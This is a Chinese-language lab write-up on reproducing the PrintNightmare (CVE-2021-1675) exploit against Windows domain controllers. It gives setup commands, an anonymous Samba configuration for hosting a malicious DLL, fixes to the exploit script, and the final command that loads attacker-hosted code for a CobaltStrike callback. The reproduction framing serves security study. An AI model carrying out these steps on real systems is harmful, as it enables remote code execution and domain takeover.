从exp出来的第一天开始,就想尝试复现,无奈工具利用有坑点+本地环境有点问题,就放下了,今天尝试复现一下,本文力求解决浮现过程中的众多坑点。
一、使用工具
https://github.com/cube0x0/CVE-2021-1675
该工具是使用过程中会涉及许多需要注意的地方,文中慢慢说明。
二、复现环境准备
Windows Server 2019 1809 17763.1339成功/Windows Server 2016 1607 14393.1884成功) Windows Server 2012 9200版本失败,因为没有探测到Print System Remote Protocol) kali作为smb匿名共享机器+攻击机 使用CobaltStrike上线目标机器 镜像下载地址推荐:https://msdn.itellyou.cn
域环境搭建这里不做说明,如果需要请参考一篇我感觉手把手教学的文章
https://blog.csdn.net/qq_28205153/article/details/113827476?spm=1001.2014.3001.5502
安装python3与impacket,python3安装不做介绍,impacket按照下面安装即可
pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install
三、检查是否具备漏洞
impacket中examples文件夹rpcdump.py Kali: rpcdump.py dc地址|grep MS-RPRN win: rcpdump.py dc地址|findstr MS-RPRN 出现此内容代表存在漏洞 Protocol: [MS-RPRN]: Print System Remote Protocol.
四、复现可能会出现的问题
- 配置smb匿名共享
配置kali的/etc/samba/smb.conf文件,在最开始复现时候,这个地方的坑点被坑了好久,死活报错,这里按照该文配置即可
https://www.cnblogs.com/qingwuyou/p/10687452.html
具体配置如下

[global] workgroup = WORKGROUP server string = Samba Server netbios name = MYSERVER log file = /var/log/samba/log.%m max log size = 50 security = user map to guest = Bad User [smb] comment = Template Directories browseable = yes writeable = yes path = /tmp/ guest ok = yes
配置完毕以后,需要执行命令开启samba服务即可
service smbd start
- pDriverPath问题
虽然最新版exp可以自己枚举驱动目录,但我安装的WinServer2019版本会报错枚举失败,如果失败的话就只能手动置顶py脚本中的pDriverPath变量值,并把上一句注释掉。
#blob = getDrivers(dce, handle) pDriverPath = ‘自定义路径+\\UNIDRV.DLL'
- dll加载问题
dll加载一般会出现2个问题
1.exp执行完毕没有报错,但是就是不上线。---需要检查dll是否是64位,建议重新生成64位dll测试。 2.exp执行过程报错“DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied”。 ---检查smb共享是否可以匿名访问。 3.exp执行过程报错“DCERPCSessionError: RPRN SessionError: code: 0x3 - ERROR_PATH_NOT_FOUND - The system cannot find the path specified.” ---检查dll加载地址,kali下用单引号
四、复现
执行
Python3 CVE-2021-1675.py 域内普通用户:用户密码@DC地址 ‘填入dll远程加载地址’(kali下用单引号)
成功

